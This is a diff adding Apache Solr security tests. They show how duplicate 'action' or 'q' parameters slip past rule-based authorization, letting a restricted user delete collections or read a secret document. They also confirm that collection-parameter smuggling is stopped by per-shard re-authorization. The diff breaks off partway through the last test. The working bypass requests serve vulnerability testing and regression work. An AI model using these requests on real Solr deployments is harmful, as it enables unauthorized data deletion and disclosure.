diff --git a/solr/core/src/test/org/apache/solr/security/AdminCollectionsDuplicateParamBypassIntegrationTest.java b/solr/core/src/test/org/apache/solr/security/AdminCollectionsDuplicateParamBypassIntegrationTest.java
new file mode 100644
index 000000000000..f1712c14b61f
--- /dev/null
+++ b/solr/core/src/test/org/apache/solr/security/AdminCollectionsDuplicateParamBypassIntegrationTest.java
@@ -0,0 +1,219 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements. See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.solr.security;
+
+import java.nio.charset.StandardCharsets;
+import java.util.Base64;
+import java.util.List;
+import java.util.Map;
+
+import org.apache.http.HttpResponse;
+import org.apache.http.client.HttpClient;
+import org.apache.http.client.methods.HttpGet;
+import org.apache.http.client.methods.HttpPost;
+import org.apache.http.client.methods.HttpRequestBase;
+import org.apache.http.entity.ContentType;
+import org.apache.http.entity.StringEntity;
+import org.apache.http.message.BasicHeader;
+import org.apache.http.util.EntityUtils;
+import org.apache.solr.client.solrj.SolrRequest;
+import org.apache.solr.client.solrj.SolrResponse;
+import org.apache.solr.client.solrj.impl.CloudSolrClient;
+import org.apache.solr.client.solrj.impl.HttpClientUtil;
+import org.apache.solr.client.solrj.request.CollectionAdminRequest;
+import org.apache.solr.cloud.SolrCloudTestCase;
+import org.apache.solr.common.cloud.ZkStateReader;
+import org.apache.solr.common.util.Utils;
+import org.apache.solr.util.LogLevel;
+import org.junit.BeforeClass;
+import org.junit.Test;
+
+import static java.nio.charset.StandardCharsets.UTF_8;
+import static org.apache.solr.security.Sha256AuthenticationProvider.getSaltedHashedValue;
+
+/**
+ * End-to-end SolrCloud test proving the duplicate-parameter authorization bypass for v1 collection
+ * admin APIs.
+ *
+ *
Custom permission {@code params} matching uses any-value semantics (a permission applies if
+ * any submitted value of a param matches the rule), while {@link
+ * org.apache.solr.handler.admin.CollectionsHandler} executes using {@code params.get(...)} (the
+ * first value). By supplying {@code action}/{@code name} more than once -- once with the
+ * dangerous values and once with the authorized decoy values -- a user restricted by a custom
+ * permission to a single harmless operation can make that permission govern the request (granting
+ * access) while the handler executes the dangerous operation.
+ *
+ *
Unlike distributed search (which re-authorizes each shard sub-request), collection admin
+ * performs a single authorization decision and then executes via the Overseer with no second gate,
+ * so the bypass results in the unauthorized operation actually running. This test demonstrates the
+ * bypass by having a "reload only" user delete a collection they are not authorized to touch.
+ */
+@LogLevel("org.apache.solr.security=DEBUG")
+public class AdminCollectionsDuplicateParamBypassIntegrationTest extends SolrCloudTestCase {
+
+ private static final String ADMIN = "admin";
+ private static final String ADMIN_PASS = "adminPass";
+ private static final String ALICE = "alice"; // may only run the harmless LIST action
+ private static final String ALICE_PASS = "alicePass";
+
+ private static final String VICTIM_FORMBODY = "victimFormBody";
+ private static final String VICTIM_URLDUP = "victimUrlDup";
+
+ @BeforeClass
+ public static void setupCluster() throws Exception {
+ // alice's role may ONLY run the read-only LIST collection-admin action. collection:null marks
+ // this as a collection-admin permission (the bucket consulted for ADMIN requests). A HashMap is
+ // used because Map.of cannot hold a null value.
+ //
+ // The permission constrains only 'action'. This matters: 'action' is selected by the handler
+ // via params.get(...) (first value), so duplicating it drives the bypass cleanly. The original
+ // hypothesis also duplicated 'name', but the DELETE path consumes 'name' as the full multi-value
+ // array, so a duplicated 'name' becomes a String[] and the delete errors out (a target collection
+ // named "[Ljava.lang.String;@..." is not found) -- accidentally thwarting that exact variant.
+ Map listPerm = new java.util.HashMap<>();
+ listPerm.put("name", "list_only");
+ listPerm.put("collection", null);
+ listPerm.put("path", "/admin/collections");
+ listPerm.put("params", Map.of("action", "LIST"));
+ listPerm.put("role", "list_role");
+
+ final String securityJson =
+ Utils.toJSONString(
+ Map.of(
+ "authentication",
+ Map.of(
+ "class", "solr.BasicAuthPlugin",
+ "blockUnknown", true,
+ "credentials",
+ Map.of(
+ ADMIN, getSaltedHashedValue(ADMIN_PASS),
+ ALICE, getSaltedHashedValue(ALICE_PASS))),
+ "authorization",
+ Map.of(
+ "class", "solr.RuleBasedAuthorizationPlugin",
+ "user-role",
+ Map.of(
+ ADMIN, List.of("admin_role"),
+ ALICE, List.of("list_role")),
+ "permissions",
+ List.of(
+ listPerm,
+ // everything else is admin-only
+ Map.of("name", "all", "role", "admin_role")))));
+
+ configureCluster(2)
+ .addConfig("conf", configset("cloud-minimal"))
+ .withSecurityJson(securityJson)
+ .configure();
+
+ CloudSolrClient client = cluster.getSolrClient();
+ for (String c : List.of(VICTIM_FORMBODY, VICTIM_URLDUP)) {
+ withAdmin(CollectionAdminRequest.createCollection(c, "conf", 1, 1)).process(client);
+ cluster.waitForActiveCollection(c, 1, 1);
+ }
+ }
+
+ private static > T withAdmin(T req) {
+ req.setBasicAuthCredentials(ADMIN, ADMIN_PASS);
+ return req;
+ }
+
+ private static String anyBaseUrl() {
+ return cluster.getJettySolrRunner(0).getBaseUrl().toString();
+ }
+
+ /** Executes a raw admin request as the given user; returns [status, body]. */
+ private static String[] adminRequest(HttpRequestBase req, String body, String user, String pass)
+ throws Exception {
+ HttpClient cl = HttpClientUtil.createClient(null);
+ try {
+ req.setHeader(new BasicHeader("Authorization",
+ "Basic " + Base64.getEncoder().encodeToString((user + ":" + pass).getBytes(UTF_8))));
+ if (body != null && req instanceof HttpPost) {
+ ((HttpPost) req).setEntity(
+ new StringEntity(body, ContentType.create("application/x-www-form-urlencoded", StandardCharsets.UTF_8)));
+ }
+ HttpResponse resp = cl.execute(req);
+ int status = resp.getStatusLine().getStatusCode();
+ String respBody = resp.getEntity() == null ? "" : EntityUtils.toString(resp.getEntity(), UTF_8);
+ return new String[] {String.valueOf(status), respBody};
+ } finally {
+ HttpClientUtil.close(cl);
+ }
+ }
+
+ // Checked via ZooKeeper cluster state (no authorization involved) so the existence check itself
+ // is not affected by the restrictive 'list_only' permission used in this test.
+ private static boolean collectionExists(String name) throws Exception {
+ ZkStateReader zr = cluster.getSolrClient().getZkStateReader();
+ zr.forceUpdateCollection(name);
+ return zr.getClusterState().hasCollection(name);
+ }
+
+ @Test
+ public void testDuplicateActionBypassExecutesUnauthorizedDelete() throws Exception {
+ final String base = anyBaseUrl();
+ final String adminColl = "/admin/collections";
+
+ // Control 1: alice's legitimate, narrowly-permitted operation works (LIST).
+ String[] list = adminRequest(
+ new HttpGet(base + adminColl + "?action=LIST&wt=json"), null, ALICE, ALICE_PASS);
+ assertEquals("alice should be allowed to LIST; body=" + list[1], "200", list[0]);
+
+ // Control 2: alice's plain DELETE of a collection she is not authorized for is FORBIDDEN, and
+ // the collection survives.
+ String[] plainDelete = adminRequest(
+ new HttpGet(base + adminColl + "?action=DELETE&name=" + VICTIM_FORMBODY), null, ALICE, ALICE_PASS);
+ assertEquals("plain DELETE by alice must be forbidden; body=" + plainDelete[1], "403", plainDelete[0]);
+ assertTrue("victim must still exist after a forbidden delete", collectionExists(VICTIM_FORMBODY));
+
+ // Attack A (URL vs form body): dangerous action in the URL, authorized decoy action in the body.
+ // 'name' is single-valued (only in the URL) so the delete targets a real collection.
+ // POST /admin/collections?action=DELETE&name=victimFormBody
+ // body: action=LIST
+ HttpPost formAttack = new HttpPost(base + adminColl + "?action=DELETE&name=" + VICTIM_FORMBODY);
+ String[] attackA = adminRequest(formAttack, "action=LIST", ALICE, ALICE_PASS);
+ assertEquals(
+ "BYPASS: request was authorized via decoy body action; body=" + attackA[1], "200", attackA[0]);
+ waitUntilGone(VICTIM_FORMBODY);
+ assertFalse(
+ "BYPASS CONFIRMED: alice (LIST-only) deleted an unauthorized collection via a decoy body "
+ + "'action' param",
+ collectionExists(VICTIM_FORMBODY));
+
+ // Attack B (pure URL duplication, no body): works on any method, here GET.
+ // GET /admin/collections?action=DELETE&action=LIST&name=victimUrlDup
+ String[] attackB = adminRequest(
+ new HttpGet(base + adminColl + "?action=DELETE&action=LIST&name=" + VICTIM_URLDUP),
+ null, ALICE, ALICE_PASS);
+ assertEquals("BYPASS: request was authorized via a duplicate URL 'action' param; body=" + attackB[1],
+ "200", attackB[0]);
+ waitUntilGone(VICTIM_URLDUP);
+ assertFalse(
+ "BYPASS CONFIRMED: alice (LIST-only) deleted an unauthorized collection via a duplicate URL "
+ + "'action' param",
+ collectionExists(VICTIM_URLDUP));
+ }
+
+ private static void waitUntilGone(String name) throws Exception {
+ final long deadline = System.nanoTime() + 30_000_000_000L;
+ while (System.nanoTime() < deadline) {
+ if (!collectionExists(name)) return;
+ Thread.sleep(200);
+ }
+ }
+}
diff --git a/solr/core/src/test/org/apache/solr/security/BaseTestRuleBasedAuthorizationPlugin.java b/solr/core/src/test/org/apache/solr/security/BaseTestRuleBasedAuthorizationPlugin.java
index ff36661b79d3..269e448704dd 100644
--- a/solr/core/src/test/org/apache/solr/security/BaseTestRuleBasedAuthorizationPlugin.java
+++ b/solr/core/src/test/org/apache/solr/security/BaseTestRuleBasedAuthorizationPlugin.java
@@ -29,6 +29,7 @@
import org.apache.http.auth.BasicUserPrincipal;
import org.apache.solr.SolrTestCaseJ4;
import org.apache.solr.common.params.MapSolrParams;
+import org.apache.solr.common.params.MultiMapSolrParams;
import org.apache.solr.common.params.SolrParams;
import org.apache.solr.common.util.CommandOperation;
import org.apache.solr.common.util.Utils;
@@ -426,6 +427,108 @@ public void testAllPermissionDeniesActionsWhenUserIsNotCorrectRole() {
, FORBIDDEN);
}
+ /**
+ * Demonstrates the parameter-duplication authorization bypass for v1 admin APIs.
+ *
+ * Custom permission {@code params} matching uses any-value semantics
+ * ({@link Permission#load} iterates every value of {@code getParams(key)} and matches if any
+ * value satisfies the rule), while the Collections API executes using
+ * {@code params.get(key)} which returns the first value. By supplying a security
+ * param more than once, an attacker can make a narrow permission "govern" the request (and thus
+ * grant access) while the handler executes a different, unauthorized value.
+ */
+ @Test
+ public void testDuplicateParamAuthorizationBypass() {
+ assumeThat("Test uses an inline user-role map specific to RuleBasedAuthorizationPlugin",
+ createPlugin(), is(instanceOf(RuleBasedAuthorizationPlugin.class)));
+
+ @SuppressWarnings("unchecked")
+ Map dupRules = (Map) Utils.fromJSONString(
+ "{" +
+ " user-role : {" +
+ " limited : reload_only," +
+ " super : admin_role" +
+ " }," +
+ " permissions : [" +
+ " {name:reload_allowed_only, collection:null, path:'/admin/collections'," +
+ " params:{action:RELOAD, name:allowed_collection}, role:reload_only}," +
+ " {name:all, role:admin_role}" +
+ " ]}");
+
+ // 1. Legitimate narrow request by the limited user: RELOAD allowed_collection -> permitted.
+ checkRules(Map.of("resource", "/admin/collections",
+ "userPrincipal", "limited",
+ "requestType", RequestType.ADMIN,
+ "httpMethod", "POST",
+ "handler", new CollectionsHandler(),
+ "params", new MapSolrParams(Map.of("action", "RELOAD", "name", "allowed_collection")))
+ , STATUS_OK, dupRules);
+
+ // 2. Baseline: a plain DELETE of a forbidden collection by the limited user -> FORBIDDEN.
+ checkRules(Map.of("resource", "/admin/collections",
+ "userPrincipal", "limited",
+ "requestType", RequestType.ADMIN,
+ "httpMethod", "POST",
+ "handler", new CollectionsHandler(),
+ "params", new MapSolrParams(Map.of("action", "DELETE", "name", "forbidden_collection")))
+ , FORBIDDEN, dupRules);
+
+ // 3. The bypass: dangerous values FIRST (what params.get returns and what the handler executes),
+ // authorized decoy values second. e.g.
+ // POST /admin/collections?action=DELETE&name=forbidden_collection
+ // body: action=RELOAD&name=allowed_collection
+ Map bypassMap = new HashMap<>();
+ bypassMap.put("action", new String[]{"DELETE", "RELOAD"});
+ bypassMap.put("name", new String[]{"forbidden_collection", "allowed_collection"});
+ MultiMapSolrParams bypass = new MultiMapSolrParams(bypassMap);
+
+ // The Collections API would execute the FIRST (URL) value: an unauthorized DELETE.
+ assertEquals("DELETE", bypass.get("action"));
+ assertEquals("forbidden_collection", bypass.get("name"));
+
+ // Authorization, however, sees the decoy authorized values and grants access.
+ // This assertion documents the CURRENT (vulnerable) behavior: STATUS_OK.
+ checkRules(Map.of("resource", "/admin/collections",
+ "userPrincipal", "limited",
+ "requestType", RequestType.ADMIN,
+ "httpMethod", "POST",
+ "handler", new CollectionsHandler(),
+ "params", bypass)
+ , STATUS_OK, dupRules);
+
+ // 4. Reverse ordering: authorized values first, dangerous values second. Here the handler would
+ // execute the AUTHORIZED first value (RELOAD allowed_collection), so this is not an
+ // escalation -- but authorization still permits it.
+ Map reverseMap = new HashMap<>();
+ reverseMap.put("action", new String[]{"RELOAD", "DELETE"});
+ reverseMap.put("name", new String[]{"allowed_collection", "forbidden_collection"});
+ MultiMapSolrParams reverse = new MultiMapSolrParams(reverseMap);
+ assertEquals("RELOAD", reverse.get("action"));
+ assertEquals("allowed_collection", reverse.get("name"));
+ checkRules(Map.of("resource", "/admin/collections",
+ "userPrincipal", "limited",
+ "requestType", RequestType.ADMIN,
+ "httpMethod", "POST",
+ "handler", new CollectionsHandler(),
+ "params", reverse)
+ , STATUS_OK, dupRules);
+
+ // 5. Duplicate the action only, but NOT the name. The permission constrains BOTH action and
+ // name, so the attacker must supply a matching decoy for every constrained param. Here the
+ // name does not match the rule, so the narrow permission does not apply, the request falls
+ // through to the 'all' permission and is correctly FORBIDDEN for the limited user.
+ Map actionOnlyMap = new HashMap<>();
+ actionOnlyMap.put("action", new String[]{"DELETE", "RELOAD"});
+ actionOnlyMap.put("name", new String[]{"forbidden_collection"});
+ checkRules(Map.of("resource", "/admin/collections",
+ "userPrincipal", "limited",
+ "requestType", RequestType.ADMIN,
+ "httpMethod", "POST",
+ "handler", new CollectionsHandler(),
+ "params", new MultiMapSolrParams(actionOnlyMap))
+ , FORBIDDEN, dupRules);
+ }
+
@Test
public void testShortNameResolvesPermissions() {
assumeThat("ExternalRBAPlugin doesn't use short name",
diff --git a/solr/core/src/test/org/apache/solr/security/CollectionParamAuthzBypassIntegrationTest.java b/solr/core/src/test/org/apache/solr/security/CollectionParamAuthzBypassIntegrationTest.java
new file mode 100644
index 000000000000..3c4f94f0cd08
--- /dev/null
+++ b/solr/core/src/test/org/apache/solr/security/CollectionParamAuthzBypassIntegrationTest.java
@@ -0,0 +1,245 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements. See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.solr.security;
+
+import java.nio.charset.StandardCharsets;
+import java.util.Base64;
+import java.util.List;
+import java.util.Map;
+
+import org.apache.http.HttpResponse;
+import org.apache.http.client.HttpClient;
+import org.apache.http.client.methods.HttpGet;
+import org.apache.http.client.methods.HttpPost;
+import org.apache.http.entity.ContentType;
+import org.apache.http.entity.StringEntity;
+import org.apache.http.message.BasicHeader;
+import org.apache.http.util.EntityUtils;
+import org.apache.solr.client.solrj.SolrRequest;
+import org.apache.solr.client.solrj.SolrResponse;
+import org.apache.solr.client.solrj.impl.CloudSolrClient;
+import org.apache.solr.client.solrj.impl.HttpClientUtil;
+import org.apache.solr.client.solrj.request.CollectionAdminRequest;
+import org.apache.solr.client.solrj.request.UpdateRequest;
+import org.apache.solr.cloud.SolrCloudTestCase;
+import org.apache.solr.common.SolrInputDocument;
+import org.apache.solr.common.cloud.DocCollection;
+import org.apache.solr.common.util.Utils;
+import org.apache.solr.util.LogLevel;
+import org.junit.BeforeClass;
+import org.junit.Test;
+
+import static java.nio.charset.StandardCharsets.UTF_8;
+import static org.apache.solr.security.Sha256AuthenticationProvider.getSaltedHashedValue;
+
+/**
+ * End-to-end SolrCloud test for the "collection" parameter authorization asymmetry on search APIs.
+ *
+ * There is a genuine asymmetry: entry-node authorization scopes a search request to the
+ * collection(s) derived from the URL/path only (the {@code queryParams} computed in
+ * {@link org.apache.solr.servlet.HttpSolrCall}), while distributed execution resolves its target
+ * collections from the {@code collection} request param read off the merged request params
+ * ({@code CloudReplicaSource.params.get("collection")}). Since an
+ * {@code application/x-www-form-urlencoded} body is merged into the params after the URL params, a
+ * {@code collection} value supplied in the POST body is invisible to the entry-node authorization
+ * check yet honored by execution.
+ *
+ *
This test demonstrates that the asymmetry nonetheless does not result in a
+ * cross-collection data leak: when the request fans out to {@code colB}, the internal shard
+ * sub-request carries the original user principal and is independently re-authorized against
+ * {@code colB}'s permissions, which denies it (403). Per-shard re-authorization is the mitigating
+ * control. This test guards that control against regression. (Contrast with collection admin
+ * APIs, where a single authorization decision is followed by Overseer execution with no second
+ * gate -- see the duplicate-param finding for {@code /admin/collections}.)
+ */
+@LogLevel("org.apache.solr.security=DEBUG")
+public class CollectionParamAuthzBypassIntegrationTest extends SolrCloudTestCase {
+
+ private static final String ADMIN = "admin";
+ private static final String ADMIN_PASS = "adminPass";
+ private static final String ALICE = "alice"; // may read colA only
+ private static final String ALICE_PASS = "alicePass";
+
+ private static final String COL_A = "colA";
+ private static final String COL_B = "colB";
+
+ private static final String COL_A_DOC_ID = "A1_public";
+ private static final String COL_B_DOC_ID = "B1_secret";
+
+ @BeforeClass
+ public static void setupCluster() throws Exception {
+ final String securityJson =
+ Utils.toJSONString(
+ Map.of(
+ "authentication",
+ Map.of(
+ "class", "solr.BasicAuthPlugin",
+ "blockUnknown", true,
+ "credentials",
+ Map.of(
+ ADMIN, getSaltedHashedValue(ADMIN_PASS),
+ ALICE, getSaltedHashedValue(ALICE_PASS))),
+ "authorization",
+ Map.of(
+ "class", "solr.RuleBasedAuthorizationPlugin",
+ "user-role",
+ Map.of(
+ ADMIN, List.of("admin_role"),
+ ALICE, List.of("reader_a")),
+ "permissions",
+ List.of(
+ // alice's role may read colA ...
+ Map.of("name", "read", "collection", COL_A, "role", "reader_a"),
+ // ... but reading colB requires a role alice does not have
+ Map.of("name", "read", "collection", COL_B, "role", "reader_b"),
+ // everything else (incl. collection admin) is admin-only
+ Map.of("name", "all", "role", "admin_role")))));
+
+ configureCluster(2)
+ .addConfig("conf", configset("cloud-minimal"))
+ .withSecurityJson(securityJson)
+ .configure();
+
+ CloudSolrClient client = cluster.getSolrClient();
+
+ withAdmin(CollectionAdminRequest.createCollection(COL_A, "conf", 1, 1)).process(client);
+ withAdmin(CollectionAdminRequest.createCollection(COL_B, "conf", 1, 1)).process(client);
+ cluster.waitForActiveCollection(COL_A, 1, 1);
+ cluster.waitForActiveCollection(COL_B, 1, 1);
+
+ UpdateRequest ua = withAdmin(new UpdateRequest());
+ ua.add(new SolrInputDocument("id", COL_A_DOC_ID));
+ ua.commit(client, COL_A);
+
+ UpdateRequest ub = withAdmin(new UpdateRequest());
+ ub.add(new SolrInputDocument("id", COL_B_DOC_ID));
+ ub.commit(client, COL_B);
+ }
+
+ private static > T withAdmin(T req) {
+ req.setBasicAuthCredentials(ADMIN, ADMIN_PASS);
+ return req;
+ }
+
+ private static String baseUrlFor(String collection) {
+ DocCollection dc = getCollectionState(collection);
+ return dc.getSlices().iterator().next().getLeader().getBaseUrl();
+ }
+
+ /** POST a urlencoded body to {baseUrl}/{collectionPath}/select as the given user; returns [status, body]. */
+ private static String[] postSelect(String baseUrl, String collectionPath, String body, String user, String pass)
+ throws Exception {
+ HttpClient cl = HttpClientUtil.createClient(null);
+ try {
+ HttpPost post = new HttpPost(baseUrl + "/" + collectionPath + "/select");
+ post.setHeader(new BasicHeader("Authorization",
+ "Basic " + Base64.getEncoder().encodeToString((user + ":" + pass).getBytes(UTF_8))));
+ post.setEntity(new StringEntity(body, ContentType.create("application/x-www-form-urlencoded", StandardCharsets.UTF_8)));
+ HttpResponse resp = cl.execute(post);
+ int status = resp.getStatusLine().getStatusCode();
+ String respBody = resp.getEntity() == null ? "" : EntityUtils.toString(resp.getEntity(), UTF_8);
+ return new String[] {String.valueOf(status), respBody};
+ } finally {
+ HttpClientUtil.close(cl);
+ }
+ }
+
+ @Test
+ public void testCollectionParamCannotBypassPerCollectionReadAuthorization() throws Exception {
+ final String baseA = baseUrlFor(COL_A);
+ final String baseB = baseUrlFor(COL_B);
+
+ // Control 1: alice may read colA via its own path.
+ String[] okA = postSelect(baseA, COL_A, "q=*:*&wt=json", ALICE, ALICE_PASS);
+ assertEquals("alice should be allowed to read colA; body=" + okA[1], "200", okA[0]);
+ assertTrue("colA result should contain colA's doc; body=" + okA[1], okA[1].contains(COL_A_DOC_ID));
+ assertFalse("colA result must not contain colB's doc; body=" + okA[1], okA[1].contains(COL_B_DOC_ID));
+
+ // Control 2: alice may NOT read colB via its own path -> 403.
+ String[] denyB = postSelect(baseB, COL_B, "q=*:*&wt=json", ALICE, ALICE_PASS);
+ assertEquals("alice must be forbidden from reading colB directly; body=" + denyB[1], "403", denyB[0]);
+
+ // Attack: alice POSTs to colA (entry-node authz is keyed on the path collection colA and admits
+ // the request) but puts collection=colB in the form body so execution fans out to colB.
+ String[] attack = postSelect(baseA, COL_A, "q=*:*&collection=" + COL_B + "&wt=json", ALICE, ALICE_PASS);
+
+ // The security-critical invariant: colB's document must NOT be returned to alice. The colB
+ // shard sub-request is re-authorized against the original principal and denied, so the overall
+ // request fails (403) and no colB data leaks.
+ assertFalse(
+ "SECURITY: alice (authorized only for colA) must not receive colB's document via a body "
+ + "'collection' param. status=" + attack[0] + " body=" + attack[1],
+ attack[1].contains(COL_B_DOC_ID));
+ assertEquals(
+ "cross-collection fan-out to colB must be denied by per-shard re-authorization; body=" + attack[1],
+ "403", attack[0]);
+ }
+
+ /** GET {baseUrl}/{collectionPath}/select?{query} as the given user; returns [status, body]. */
+ private static String[] getSelect(String baseUrl, String collectionPath, String query, String user, String pass)
+ throws Exception {
+ HttpClient cl = HttpClientUtil.createClient(null);
+ try {
+ HttpGet get = new HttpGet(baseUrl + "/" + collectionPath + "/select?" + query);
+ get.setHeader(new BasicHeader("Authorization",
+ "Basic " + Base64.getEncoder().encodeToString((user + ":" + pass).getBytes(UTF_8))));
+ HttpResponse resp = cl.execute(get);
+ int status = resp.getStatusLine().getStatusCode();
+ String respBody = resp.getEntity() == null ? "" : EntityUtils.toString(resp.getEntity(), UTF_8);
+ return new String[] {String.valueOf(status), respBody};
+ } finally {
+ HttpClientUtil.close(cl);
+ }
+ }
+
+ /**
+ * Refined attack: try to defeat the per-shard re-authorization by "smuggling" extra collection
+ * values -- naming an AUTHORIZED collection (colA) alongside the target (colB) as a comma-list (in
+ * the body and in the URL) and via triple duplication. The intent is to exploit that (a)
+ * {@code authorize()} returns OK on the first collection in the list that has a governing
+ * permission (any-of), and (b) the shard sub-request forwards the original {@code collection}
+ * value.
+ *
+ * None of these leak colB. The decisive control: a shard sub-request targets a specific core
+ * and is re-authorized against that core's OWN collection (colB). The forwarded {@code collection}
+ * value rides in the sub-request body, which is invisible to the URL-only params that determine
+ * the authorized collection list at the target, so the target never short-circuits on colA. This
+ * test guards that control against regression.
+ */
+ @Test
+ public void testMultiCollectionSmugglingCannotDefeatPerShardReauth() throws Exception {
+ final String baseA = baseUrlFor(COL_A);
+ final String list = COL_A + "," + COL_B; // authorized collection first
+ final String revList = COL_B + "," + COL_A; // target first
+
+ String[][] attempts = {
+ postSelect(baseA, COL_A, "q=*:*&collection=" + list + "&wt=json", ALICE, ALICE_PASS),
+ getSelect(baseA, COL_A, "q=*:*&collection=" + list + "&wt=json", ALICE, ALICE_PASS),
+ getSelect(baseA, COL_A,
+ "q=*:*&collection=" + COL_A + "&collection=" + COL_B + "&collection=" + COL_A + "&wt=json",
+ ALICE, ALICE_PASS),
+ postSelect(baseA, COL_A, "q=*:*&collection=" + revList + "&wt=json", ALICE, ALICE_PASS),
+ };
+
+ for (String[] r : attempts) {
+ assertFalse(
+ "SECURITY: alice (authorized only for colA) must never receive colB's document. "
+ + "status=" + r[0] + " body=" + r[1],
+ r[1].contains(COL_B_DOC_ID));
+ }
+ }
+}
diff --git a/solr/core/src/test/org/apache/solr/security/SearchParamAuthzBypassIntegrationTest.java b/solr/core/src/test/org/apache/solr/security/SearchParamAuthzBypassIntegrationTest.java
new file mode 100644
index 000000000000..532798fa3765
--- /dev/null
+++ b/solr/core/src/test/org/apache/solr/security/SearchParamAuthzBypassIntegrationTest.java
@@ -0,0 +1,162 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements. See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.solr.security;
+
+import java.util.Base64;
+import java.util.List;
+import java.util.Map;
+
+import org.apache.http.HttpResponse;
+import org.apache.http.client.HttpClient;
+import org.apache.http.client.methods.HttpGet;
+import org.apache.http.message.BasicHeader;
+import org.apache.http.util.EntityUtils;
+import org.apache.solr.client.solrj.SolrRequest;
+import org.apache.solr.client.solrj.SolrResponse;
+import org.apache.solr.client.solrj.impl.CloudSolrClient;
+import org.apache.solr.client.solrj.impl.HttpClientUtil;
+import org.apache.solr.client.solrj.request.CollectionAdminRequest;
+import org.apache.solr.client.solrj.request.UpdateRequest;
+import org.apache.solr.cloud.SolrCloudTestCase;
+import org.apache.solr.common.SolrInputDocument;
+import org.apache.solr.common.util.Utils;
+import org.apache.solr.util.LogLevel;
+import org.junit.BeforeClass;
+import org.junit.Test;
+
+import static java.nio.charset.StandardCharsets.UTF_8;
+import static org.apache.solr.security.Sha256AuthenticationProvider.getSaltedHashedValue;
+
+/**
+ * Tests whether the any-value-vs-first-value bypass reaches search when a custom rule is keyed on a
+ * NON-collection param that the handler consumes first-value (here {@code q}).
+ *
+ *
The per-shard re-authorization that protects the {@code collection} dimension works because the
+ * receiving core re-derives the authorized collection from the core it serves. For any other param
+ * there is no such re-derivation: the shard sub-request carries the full multi-valued param, so the
+ * receiving core makes the same any-value decision the coordinator did (it passes for the same
+ * reason) and then executes the first value. So per-shard re-auth should NOT protect a {@code q}-keyed
+ * rule.
+ *
+ *
Setup: a custom rule lets role {@code pubonly} query collection {@code coll} only when
+ * {@code q=id:pubdoc}; everything else needs admin. The {@code limited} user (pubonly) sends
+ * {@code q=id:secretdoc&q=id:pubdoc}: auth matches on the decoy {@code id:pubdoc}, execution uses the
+ * first value {@code id:secretdoc}, and the secret document is returned.
+ */
+@LogLevel("org.apache.solr.security=DEBUG")
+public class SearchParamAuthzBypassIntegrationTest extends SolrCloudTestCase {
+
+ private static final String ADMIN = "admin";
+ private static final String ADMIN_PASS = "adminPass";
+ private static final String LIMITED = "limited";
+ private static final String LIMITED_PASS = "limitedPass";
+
+ private static final String COLL = "coll";
+ private static final String PUBLIC_ID = "pubdoc";
+ private static final String SECRET_ID = "secretdoc";
+
+ @BeforeClass
+ public static void setupCluster() throws Exception {
+ Map pubQuery = Map.of(
+ "name", "pub-query",
+ "collection", COLL,
+ "path", "/select",
+ "params", Map.of("q", "id:" + PUBLIC_ID),
+ "role", "pubonly");
+
+ final String securityJson =
+ Utils.toJSONString(
+ Map.of(
+ "authentication",
+ Map.of(
+ "class", "solr.BasicAuthPlugin",
+ "blockUnknown", true,
+ "credentials",
+ Map.of(
+ ADMIN, getSaltedHashedValue(ADMIN_PASS),
+ LIMITED, getSaltedHashedValue(LIMITED_PASS))),
+ "authorization",
+ Map.of(
+ "class", "solr.RuleBasedAuthorizationPlugin",
+ "user-role",
+ Map.of(
+ ADMIN, List.of("admin_role"),
+ LIMITED, List.of("pubonly")),
+ "permissions",
+ List.of(pubQuery, Map.of("name", "all", "role", "admin_role")))));
+
+ configureCluster(2)
+ .addConfig("conf", configset("cloud-minimal"))
+ .withSecurityJson(securityJson)
+ .configure();
+
+ CloudSolrClient client = cluster.getSolrClient();
+ withAdmin(CollectionAdminRequest.createCollection(COLL, "conf", 2, 1)).process(client);
+ cluster.waitForActiveCollection(COLL, 2, 2);
+
+ UpdateRequest u = withAdmin(new UpdateRequest());
+ u.add(new SolrInputDocument("id", PUBLIC_ID));
+ u.add(new SolrInputDocument("id", SECRET_ID));
+ u.commit(client, COLL);
+ }
+
+ private static > T withAdmin(T req) {
+ req.setBasicAuthCredentials(ADMIN, ADMIN_PASS);
+ return req;
+ }
+
+ /** GET {base}/coll/select?{query} as the given user; returns [status, body]. */
+ private static String[] getSelect(String query, String user, String pass) throws Exception {
+ HttpClient cl = HttpClientUtil.createClient(null);
+ try {
+ String base = cluster.getJettySolrRunner(0).getBaseUrl().toString();
+ HttpGet get = new HttpGet(base + "/" + COLL + "/select?" + query);
+ get.setHeader(new BasicHeader("Authorization",
+ "Basic " + Base64.getEncoder().encodeToString((user + ":" + pass).getBytes(UTF_8))));
+ HttpResponse resp = cl.execute(get);
+ int status = resp.getStatusLine().getStatusCode();
+ String body = resp.getEntity() == null ? "" : EntityUtils.toString(resp.getEntity(), UTF_8);
